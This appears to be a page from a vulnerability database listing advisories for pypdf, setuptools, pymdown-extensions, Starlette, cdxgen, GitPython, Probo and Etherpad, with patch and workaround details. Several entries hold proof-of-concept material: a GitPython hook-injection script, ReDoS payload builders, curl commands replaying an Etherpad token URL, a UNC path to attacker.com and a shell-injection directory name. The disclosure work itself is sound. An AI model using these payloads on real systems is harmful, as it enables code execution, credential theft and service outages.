Search: com.ar
4,186 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.9 | EPSS 0.2% | Medium6.9EPSS 0.2%GCVE DatabaseCVE-2026-54530 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires extracting the text in layout mode. ### Patches This has been fixed in [pypdf==6.13.0](https://github.com/py-pdf/pypdf/releases/tag/6.13.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3830](https://github.com/py-pdf/pypdf/pull/3830). | GCVE Database | ||
| Medium | 6.9 | EPSS 0.2% | Medium6.9EPSS 0.2%GCVE DatabaseCVE-2026-54531 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires merging a file with outlines into a writer. ### Patches This has been fixed in [pypdf==6.13.0](https://github.com/py-pdf/pypdf/releases/tag/6.13.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3830](https://github.com/py-pdf/pypdf/pull/3830). | GCVE Database | ||
| Medium | 6.9 | EPSS 0.2% | Medium6.9EPSS 0.2%GCVE DatabaseCVE-2026-54651 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires merging a file with threads/articles into a writer. ### Patches This has been fixed in [pypdf==6.13.1](https://github.com/py-pdf/pypdf/releases/tag/6.13.1). ### Workarounds If users cannot upgrade yet, consider applying the changes from PR [#3839](https://github.com/py-pdf/pypdf/pull/3839). | GCVE Database | ||
| Medium | 4.8 | EPSS 0.1% | Medium4.8EPSS 0.1%GCVE DatabaseCVE-2026-71852 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires parsing the font width entries of a font with unusually large values, for example during text extraction. ### Patches This has been fixed in [pypdf==6.15.0](https://github.com/py-pdf/pypdf/releases/tag/6.15.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3946](https://github.com/py-pdf/pypdf/pull/3946). | GCVE Database | ||
| Medium | 4.8 | EPSS 0.1% | Medium4.8EPSS 0.1%GCVE DatabaseCVE-2026-71870 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires parsing the `/ToUnicode` entry of a font with unusually large values, for example during text extraction. ### Patches This has been fixed in [pypdf==6.15.0](https://github.com/py-pdf/pypdf/releases/tag/6.15.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3944](https://github.com/py-pdf/pypdf/pull/3944). | GCVE Database | ||
| High | 8.7 | EPSS 1.6% | CVE-2025-47273Openstackclient: setuptools has a path traversal vulnerability in PackageIndex.download that leads to Arbitrary File High8.7EPSS 1.6%GCVE DatabaseCVE-2025-47273 ### Summary A path traversal vulnerability in `PackageIndex` was fixed in setuptools version 78.1.1 ### Details ``` def _download_url(self, url, tmpdir): # Determine download filename # name, _fragment = egg_info_for_url(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '_') else: name = "__downloaded__" # default if URL has no path contents if name.endswith('.[egg.zip](http://egg.zip/)'): name = name[:-4] # strip the extra .zip before download --> filename = os.path.join(tmpdir, name) ``` Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88 `os.path.join()` discards the first argument `tmpdir` if the second begins with a slash or drive letter. `name` is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient. ### Risk Assessment As easy_install and package_index are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index. ### Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context. ### References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946 | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE DatabaseCVE-2026-67422 ### Summary Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's **default configuration** and are reachable through the documented public API. The `caret`/`tilde`/ `betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in **10.13**, Dec 2024) — earlier releases used a linear `(.+?)` / `([^\s]+?)` content group — and is present through **11.0** (latest); `magiclink`'s host pattern is long-standing and affects effectively all releases. Likely **CWE-1333 (Inefficient Regular Expression Complexity)**. This is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`, `RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a `.`/`\.` typo). ### Details Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into `{2,}`-sized pieces in exponentially many ways, wrapped in a lazy `+?` that must fail before the engine can give up: | Extension | Regex | Location (`11.0`) | |---|---|---| | `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` | | `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` | | `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` | | `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) | `pymdownx/caret.py:56` (`pymdown-extensions 11.0`): ```python SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)' ``` The content group `(?:[^\^\s]|\^{2,})+?` matches a run of carets only via the `\^{2,}` branch. A run of *k* carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing `(?<![\^\s])(\^)` cannot be satisfied), the engine explores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2` (betterem) are the same construct for `~` and `_`. In `betterem` the default `smart_enable='underscore'` routes underscores to `SmartUnderscoreProcessor` → `SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable, API-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when `smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce through the public `markdown.markdown()` pipeline on the tested payload, so a fix and regression test should target `SMART_UNDER_EM2`. `pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially: ```python (?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.' ``` `SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the default `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is applied by `MagiclinkPattern` (registered unconditionally at priority 85). In all four cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted `src` in default configuration is sufficient to reach the regex. ### PoC Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates). ```python import signal import time from importlib.metadata import version import markdown print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}") CAP = 5.0 # a single render exceeding this is treated as a hang class Timeout(Exception): pass def render(ext, text): signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout())) signal.setitimer(signal.ITIMER_REAL, CAP) t = time.perf_counter() try: markdown.markdown(text, extensions=[ext]) return time.perf_counter() - t except Timeout: return None finally: signal.setitimer(signal.ITIMER_REAL, 0) # ext -> (malicious builder, benign builder [valid & closed], ramp, hang count) CASES = { "pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44), "pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44), "pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44), "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40), } repro = [] for ext, (evil, benign, ramp, hang) in CASES. | GCVE Database | ||
| Low | 2.7 | EPSS 0.5% | Low2.7EPSS 0.5%GCVE DatabaseCVE-2025-68142 ### Impact This issue describes a ReDOS bug found within the figure caption extension (`pymdownx.blocks.caption` ). In systems that take unchecked user content, this could cause long hangs when processing the data if a malicious payload was crafted. ### Patches This issue is patched in Release [10.16.1](https://pypi.org/project/pymdown-extensions/10.16.1/). ### Workarounds Some possible workarounds If users are concerned about this vulnerability and process unknown user content without timeouts or other safeguards in place to prevent really large, malicious content being aimed at systems, the use of `pymdownx.blocks.caption` could be avoided until the library is updated to 10.16.1+. ### References The original issue https://github.com/facelessuser/pymdown-extensions/issues/2716. ### Description The original issue came through PyMdown Extensions' normal issue tracker instead of the typical security flow: https://github.com/facelessuser/pymdown-extensions/issues/2716. Because this came through the normal issue flow, it was handled as a normal issue. In the future, PyMdown Extensions will ensure such issues, even if prematurely made public through the normal issue flow, are redirected through the typical security process. The regular expression pattern in question is as follows: ```py RE_FIG_NUM = re.compile(r'^(\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)') ``` The POC was provided by @ShangzhiXu ```py import re import time regex_pattern = re.compile(r'^(\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)') for i in range(50, 500, 50): long_string = '1' * i + 'a' start_time = time.time() match = re.match(regex_pattern, long_string) end_time = time.time() print(f"long_string execution time: {end_time - start_time:.6f} s") ``` The issue with the above pattern is that `.` was used, which accepts any character when we meant to use `\.`. The fix was to update the pattern to: ```py RE_FIG_NUM = re.compile(r'^(\^)?([1-9][0-9]*(?:\.[1-9][0-9]*)*)(?= |$)') ``` Relevant PR with fix: https://github.com/facelessuser/pymdown-extensions/pull/2717 ### Version(s) & System Info - Operating System: Any - Python Version: Any | GCVE Database | ||
| Low | 3.7 | EPSS 0.3% | CVE-2026-54282Starlette · Unvalidated request path concatenated into authority poisons request.url.hostname Low3.7EPSS 0.3%GCVE DatabaseCVE-2026-54282 ### Summary In affected versions, the HTTP request path is not validated before being used to reconstruct `request.url`. Because `request.url` is rebuilt by concatenating `{scheme}://{host}{path}` and re-parsing the result, a path that does not begin with `/` (for example `@google.com`) moves the authority boundary during re-parsing, so `request.url.hostname` and `request.url.netloc` become attacker-controlled. Code that reads `request.url.hostname` (rather than the `Host` header or `scope`) can therefore be misled into trusting an attacker-supplied host. ### Details When a client requests a path that does not start with `/`: ```http GET @google.com HTTP/1.1 Host: localhost ``` affected versions reconstruct the URL as `http://localhost@google.com`. Per [RFC 3986 §3.2.1](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.1), the substring before `@` in the authority is `userinfo`, so re-parsing yields `username = "localhost"` and `hostname = "google.com"`, with an empty path: ```text request.url == "http://localhost@google.com" request.url.hostname == "google.com" request.url.path == "" ``` The root cause is that the path is concatenated directly after the host without a separating `/`, and without validating that it begins with one. Only the `Host` header was validated when constructing `request.url`; the path was not. This requires an ASGI server that forwards a request-target lacking a leading `/` into `scope["path"]`. ### Impact Any application running an affected version that uses `request.url`, `request.url.netloc`, or `request.url.hostname` for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first. Note that this is less exploitable than [GHSA-86qp-5c8j-p5mr](https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr): there, the poison is carried in the `Host` header, so the real path still routes to a valid endpoint while `request.url.path` lies. Here, the poison must be carried in the path itself, and that path (`@google.com`) does not match any registered route, so routing returns `404` and no endpoint handler runs. The exposure is limited to code that reads `request.url` before routing - notably middleware - or in 404/exception handlers. ### Mitigation Upgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields `http://localhost/@google.com` with `request.url.hostname == "localhost"`. | GCVE Database | ||
| High | 7.5 | EPSS 0.4% | High7.5EPSS 0.4%GCVE DatabaseCVE-2026-48818 ### Summary When serving static files on Windows, `StaticFiles` resolves the requested path with [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). If a UNC path (such as `\\attacker.com\share`) reaches the resolver, `realpath` causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts. ### Details `StaticFiles.lookup_path()` joins the requested path onto the served directory and calls [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath) on the result before checking containment with [`os.path.commonpath`](https://docs.python.org/3/library/os.path.html#os.path.commonpath). On Windows, a UNC path is absolute, so [`os.path.join`](https://docs.python.org/3/library/os.path.html#os.path.join) discards the served directory and `realpath` resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected. This only affects the default configuration (`follow_symlink=False`), which uses [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). The `follow_symlink=True` branch uses [`os.path.abspath`](https://docs.python.org/3/library/os.path.html#os.path.abspath), which performs no I/O. ### Impact Applications running on Windows that serve files with `StaticFiles` (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. `StaticFiles` is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses. ### Mitigation Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of `StaticFiles` avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved. | GCVE Database | ||
| Medium | 6.5 | KEVEPSS 70% | CVE-2026-48710Mcp google sheets: Starlette has missing Host header validation that poisons request.url.path, bypassing path-based Medium6.5KEVEPSS 70%GCVE DatabaseCVE-2026-48710 ### Summary In affected versions, the HTTP `Host` request header was not validated before being used to reconstruct `request.url`. Because the routing algorithm relies on the raw HTTP path while `request.url` is rebuilt from the `Host` header, a malformed header could make `request.url.path` differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on `request.url` (rather than the raw `scope` path) could therefore be bypassed. ### Details When a client requests `http://example.com/foo`, it sends: ```http GET /foo HTTP/1.1 Host: example.com ``` Affected versions reconstructed the URL by concatenating `http://{host}{path}` and re-parsing the result. The `Host` value is only valid as a `uri-host [ ":" port ]` per [RFC 9112 §3.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6), where `uri-host` follows the restricted `host` grammar of [RFC 3986 §3.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2). When it contains characters outside that grammar - notably `/`, `?`, or `#` - those characters move the path/query/fragment boundaries during re-parsing, so the parsed `request.url.path` no longer matches the path the server actually received. For example: ```http GET /foo HTTP/1.1 Host: example.com/abc?bar= ``` reconstructs to `http://example.com/abc?bar=/foo`, whose parsed `path` is `/abc` - even though routing used the real path `/foo`. The router still dispatches to `/foo` and the endpoint executes, but any middleware or code that reads `request.url.path` sees `/abc`, so path-based authorization checks can be bypassed. ### Impact Any application running an affected version that relies on `request.url` (or `request.url.path`) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on `request.url.path`. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed `Host` header before forwarding and the application does not trust attacker-controlled host headers (e.g. `X-Forwarded-Host`) elsewhere. ### Mitigation Upgrade to a patched version, which validates the `Host` header against the grammar of [RFC 9112 §3.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6) / [RFC 3986 §3.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2) when constructing `request.url` and falls back to `scope["server"]` for malformed values. | GCVE Database | ||
| Medium | 6.9 | Medium6.9GCVE Database ## Summary A command injection vulnerability existed in the Maven scanning flow of cdxgen before version 12.4.3. When cdxgen scanned an attacker-controlled Maven project, repository-controlled paths could be used in the Maven command construction. In affected versions, some Maven invocations were executed with `shell: true`. A directory name containing shell metacharacters could therefore be interpreted by the shell instead of being treated only as a filesystem path. This could allow an attacker who controls a scanned repository to execute commands in the cdxgen process context. The issue affected both the CLI and server mode. The issue is patched in `12.4.3`. ## Affected asset - Project: cdxgen - Tested version: 12.4.1 - Mode tested: server mode - Endpoint: `POST /sbom` - Scanner path: Java / Maven project scanning ## Patch Version 12.4.3 includes hardening for this issue with PR #4059 The patch adds multiple mitigations: - Maven command invocations no longer use unconditional shell execution on POSIX platforms. - Bazel command invocation was similarly changed away from unconditional shell execution. - Windows compatibility is preserved using `shell: isWin` where needed. - `safeSpawnSync` now blocks `shell: true` invocations when the command or direct argument values contain shell metacharacters. - cdxgen does not validate or sanitise every nested directory. The threat model is updated to clarify mitigation scope. ## Workarounds The recommended remediation is to upgrade to 12.4.3 or later. If immediate upgrade is not possible: - Do not run cdxgen server mode on untrusted networks. - Do not expose POST /sbom to unauthenticated or untrusted clients. - Avoid scanning untrusted Java/Maven repositories. - Run cdxgen inside a locked-down container or sandbox. - Remove sensitive environment variables from the cdxgen process environment. - Use least-privilege filesystem mounts. - Restrict outbound network access where possible. Use cdxgen secure/dry-run modes where suitable to inspect planned operations before performing scans. Configure host and command allowlists where applicable, such as: - CDXGEN_SERVER_ALLOWED_HOSTS - CDXGEN_GIT_ALLOWED_HOSTS - CDXGEN_ALLOWED_COMMANDS - CDXGEN_SECURE_MODE=true These mitigations reduce exposure but do not fully address the vulnerable command construction in affected versions. ## Threat model clarification The mitigation added in 12.4.3 applies to the cdxgen process boundary. Specifically, cdxgen now hardens command, option, and path values that cdxgen itself passes to external processes through safeSpawnSync. This does not mean cdxgen sanitizes every nested path, module name, generated path, or project-controlled value that an external build tool later discovers and interprets inside its own process. Once cdxgen safely invokes Maven, Gradle, Bazel, SBT, or another build tool, that tool’s internal behavior remains a separate trust boundary. ### In scope for this fix: - command and argument values passed directly by cdxgen to child processes; - cdxgen’s own use of shell: true; - Maven/Bazel command invocation paths controlled by cdxgen. ### Out of scope for this specific mitigation: - arbitrary nested paths later discovered by Maven itself; - Maven plugin behavior; - Maven lifecycle hooks; - build-tool-specific interpretation of project files after cdxgen has launched the tool. This residual risk is documented in the cdxgen threat model and is why untrusted project scans should still be run in sandboxed, least-privileged environments. ## Detection Possible indicators of exploitation or probing include: - Maven module directories containing shell metacharacters such as: ``` ; & | < > $ backticks newlines ``` - Logs showing settings.xml or pom.xml discovered in suspicious paths. - Unexpected files created outside the scanned repository during a Java/Maven scan. - Unexpected child process behavior during cdxgen server scans. - cdxgen server receiving POST /sbom requests for attacker-controlled Git URLs. Example suspicious path pattern: ``` evil;cd${IFS}..;cd${IFS}..;printf${IFS}...>...;# ``` ## Credits Reported-By: @aleff-github ## Resources - Patch PR - https://github.com/cdxgen/cdxgen/pull/4059 | GCVE Database | |||
| High | 8.1 | EPSS 0.6% | CVE-2026-42284GitPython · Unsafe option check validates multi_options before shlex.split transformation High8.1EPSS 0.6%GCVE DatabaseCVE-2026-42284 ### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267. | GCVE Database | ||
| Medium | 4.7 | EPSS 0.4% | CVE-2026-49820getprobo probo · Open Redirect Medium4.7EPSS 0.4%CVE Database V5CVE-2026-49820 Probo is a self-hostable governance, risk, and compliance (GRC) platform built for engineering and security teams. Probo's `saferedirect` package validates redirect URLs used across authentication flows (OIDC, SAML, session transfer, OAuth connectors, and trust-center magic links). Prior to version 0.19.3.1, the validator only inspected the second character of relative paths, so a URL like `/../\evil.com` passed validation because the second character is `.`. Go's `http.Redirect` normalizes this path to `/\evil.com` before setting the `Location` header. Browsers can interpret the backslash as a host separator and redirect the user to an external domain (`https://evil.com`), bypassing the intended same-origin restriction. This enables open-redirect phishing: an attacker can craft a `continue` parameter (or embed a malicious URL in a session-transfer token) that appears to originate from a trusted Probo domain but redirects victims elsewhere. This is fixed in `go.probo.inc/probo` 0.193.1 by normalizing relative paths with `path.Clean` before validation, rejecting backslashes (including percent-encoded `%5c`) anywhere in the path, and re-checking the normalized result for protocol-relative and backslash prefixes. Self-hosted deployments should upgrade to probod v0.194.1 or later. SaaS deployments on getprobo.com are patched. No practical workaround is available for self-hosted installations. | CVE Database V5 | ||
| High | 7.6 | EPSS 0.3% | High7.6EPSS 0.3%CVE Database V5CVE-2026-65935 Passkey entry Bluetooth LE legacy pairing can be bypassed in the RS9116W and SiWx917 by manipulating the temporary key value. See vulnerability B-E3 in the related paper below. | CVE Database V5 | ||
| High | 8.8 | EPSS 0.4% | High8.8EPSS 0.4%CVE Database V5CVE-2026-19292 Re-pairing with a legitimate device can use a lower security level than previous making brute-forcing the LTK easier. See V4 in the BLERP paper linked below. | CVE Database V5 | ||
| Medium | 6.8 | EPSS 0.4% | CVE-2026-55088ep_etherpad-lite: Device-to-device author-token transfer endpoint is replayable, never expires, and exposes the Medium6.8EPSS 0.4%GCVE DatabaseCVE-2026-55088 Etherpad's device-to-device author-token transfer endpoint is replayable, never expires, and exposes the cleartext author token in the GET response body ## Description Etherpad ships an endpoint pair under `/tokenTransfer` (`src/node/hooks/express/tokenTransfer.ts`) that lets a logged-in user move their HttpOnly author token to a different browser (typically by scanning a QR code containing the transfer URL). The flow is: 1. **POST `/tokenTransfer`** — the source device sends a request whose own author cookie is read off the server-side cookie jar. The server mints a random UUID and stores the author token (and arbitrary `prefsHttp` field) under a DB key keyed by that UUID. The UUID is returned. 2. **GET `/tokenTransfer/{uuid}`** — the destination device GETs the URL containing the UUID. The server reads the stored record and sets the HttpOnly author cookie on the response. The original implementation has three serious flaws: 1. **No expiration check.** `createdAt` is written to the record on POST but never inspected on GET. A leaked transfer URL is redeemable indefinitely. 2. **No single-use enforcement.** The DB record is not deleted after a successful GET, so the same URL can be redeemed repeatedly — each redemption yielding a fresh cookie set on whoever issued the GET. 3. **Author token echoed in the response body.** The GET handler ends with `res.send(tokenData)`, which serializes the full record — including the raw author token — into the JSON response. Any JavaScript on the page that issued the GET can read the token, defeating the HttpOnly cookie design that exists specifically to keep the token out of JS reach. Combined, these mean that any disclosure of a transfer UUID (browser history, mis-shared QR code, screenshot, server log, third-party plugin that proxies the request, an unencrypted intermediate hop) results in **persistent authorship impersonation of the originating account** — the attacker doesn't just get one cookie, they can re-redeem and they get the raw token in cleartext for storage / replay against other endpoints. ## Severity rationale - **AV:N** — exploitable over the network. - **AC:H** — requires the attacker to learn the transfer UUID via some out-of-band channel; UUIDs are random. - **PR:N** — no authentication required at the redemption endpoint. - **UI:R** — the legitimate user must have issued the POST and the UUID must end up where the attacker can see it (QR code, screenshot, etc.). - **C:H / I:H** — full author identity takeover (read + write everything that author can). - **A:N** — no direct denial-of-service. CVSS lands at 7.5 (High). Some operators may reasonably score this lower (UI:R + AC:H) if their threat model assumes the transfer URL never leaves the user's own device pair. ## Affected versions - `ep_etherpad-lite >= 2.6.0, <= 3.0.0`. The `/tokenTransfer` endpoint pair was added in [`41cb680` "let user maintain a single session across multiple browsers" (#7228)](https://github.com/ether/etherpad/commit/41cb680), first tagged in **v2.6.0** (2025-11-18). All three flaws (no TTL, no single-use, token in response body) were present from the introducing commit and persisted through `v3.0.0`. ## Patched versions - `ep_etherpad-lite >= 3.1.0` — the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships. ## Proof of concept ``` # 1. Victim posts a transfer from their device. curl -X POST https://pad.example/tokenTransfer \ -H 'Cookie: token=t.victim-author-token' \ -H 'Content-Type: application/json' \ -d '{"prefsHttp": ""}' # -> {"id": "1f0b2a3c-..."} # 2. UUID leaks (browser history, intercepted QR, etc.). # 3. Attacker redeems it from a totally different machine: curl -i https://pad.example/tokenTransfer/1f0b2a3c-... # Headers include: # Set-Cookie: token=t.victim-author-token; Path=/; HttpOnly; ... # Body contains: # {"token":"t.victim-author-token", "prefsHttp": "", "createdAt": ...} # # Attacker now owns the victim's identity. They can also re-redeem the # same UUID (no single-use), and the body gives them the cleartext token # even if the HttpOnly cookie isn't useful to their tooling. ``` ## Workarounds - Disable any UI that surfaces the transfer URL (QR code, copy-button, etc.). - Reverse-proxy block `/tokenTransfer/*` if device-pairing is not in use. - Set short DB cleanup intervals (does not address the JS-readable body issue). None of these workarounds are sufficient on their own — upgrade is the only complete fix. ## Fix Patched in [`8c6104c`](https://github.com/ether/etherpad/commit/8c6104c) (PR [#7784](https://github.com/ether/etherpad/pull/7784)): 1. **5-minute TTL** (`TRANSFER_TTL_MS`). Records older than this return 410 Gone. Records with absent/non-numeric `createdAt` (legacy records from older code paths) are treated as expired. 2. **Single-use.** The DB record is removed **before** the success response is written, so a parallel request that wins the race obse | GCVE Database |
Page 37 of 233 · 3 duplicate CVE records merged